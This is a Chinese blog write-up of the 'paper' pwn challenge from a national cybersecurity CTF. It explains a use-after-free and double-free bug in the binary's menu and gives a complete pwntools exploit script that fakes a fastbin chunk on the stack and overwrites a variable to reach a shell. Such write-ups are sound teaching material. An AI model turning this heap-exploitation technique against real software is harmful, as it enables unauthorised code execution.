第六届全国网络空间安全技术大赛 pwn paper

本文详细介绍了如何利用程序中的use-after-free(UAF)和double-free漏洞来修改内存中的数据,以达到改变变量v9值的目的。通过创建、删除、移动和写入操作,配合内存泄漏和地址篡改,最终获取shell。文章还指出,由于存在UAF,这道题目比常规的double-free漏洞利用更为简单,可以直接进行写入而无需重新申请空间。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个的话就保护给的足足的。

在这里插入图片描述
在这里插入图片描述给的libc是2.23

在这里插入图片描述
进去是一个菜单。

create
在这里插入图片描述最多8个,然后地址放在bss上。

delete
在这里插入图片描述
删除,但是会发现还是简单的uaf。而且也没有检查,可以double free。

write
在这里插入图片描述
就是简单的往malloc里面输入数字。

find your disk
move your disk
在这里插入图片描述4这里可以泄露一个地址,5这里可以更改v8

在这里插入图片描述
最后的目的是把v9改成0xCCCCCCCC,所以我们的总体思路就是怎么能够通过uaf以及double free把v9申请到,然后做一个修改。

我们想要申请到v9,可以通过double free,但是我们需要知道v9的地址,这个可以通过4来知道,然后我峨嵋你需要绕过检查,绕过double free的检查,它会检查fastbin 申请的chunk的size位大小是不是跟自己申请的一样,所以我们还要想办法对其进行一个修改,这件事情5可以做,所以我们所需要的条件现在就都具备了。

其实这个题还要再简单一些,我们平常见到的double free是没有uaf的,这就意味着我们需要把它申请回来才可以写,但是这道题因为有uaf,简单到直接free掉之后就可以写,然后任意申请空间,从而拿到shell。

exp

from pwn import*

r = process("./paper")

elf = ELF("./paper")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

def create():
    r.sendlineafter("choice > ", "1")
    
def move(ID):
    r.sendlineafter("choice > ", "2")
    r.sendlineafter("Index:\n", str(ID))
    
def write(ID, count):
    r.sendlineafter("choice > ", "3")
    r.sendlineafter("Index:\n", str(ID))
    r.sendlineafter("word count:\n", str(count))
    
def find():
    r.sendlineafter("choice > ", "4")
    r.recvuntil("0x")
    return int(r.recv(12), 16)

def disk(disk):
    r.sendlineafter("choice > ", "5")
    r.sendlineafter("Which disk?\n", str(disk))
    
def finish():
    r.sendlineafter("choice > ", "6")

create() #0
create() #1

move(0)

stack_addr = find()
disk(0x20)
write(0, stack_addr - 0x8)

create() #2
create() #3
write(3, 0xCCCCCCCC)

finish()

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值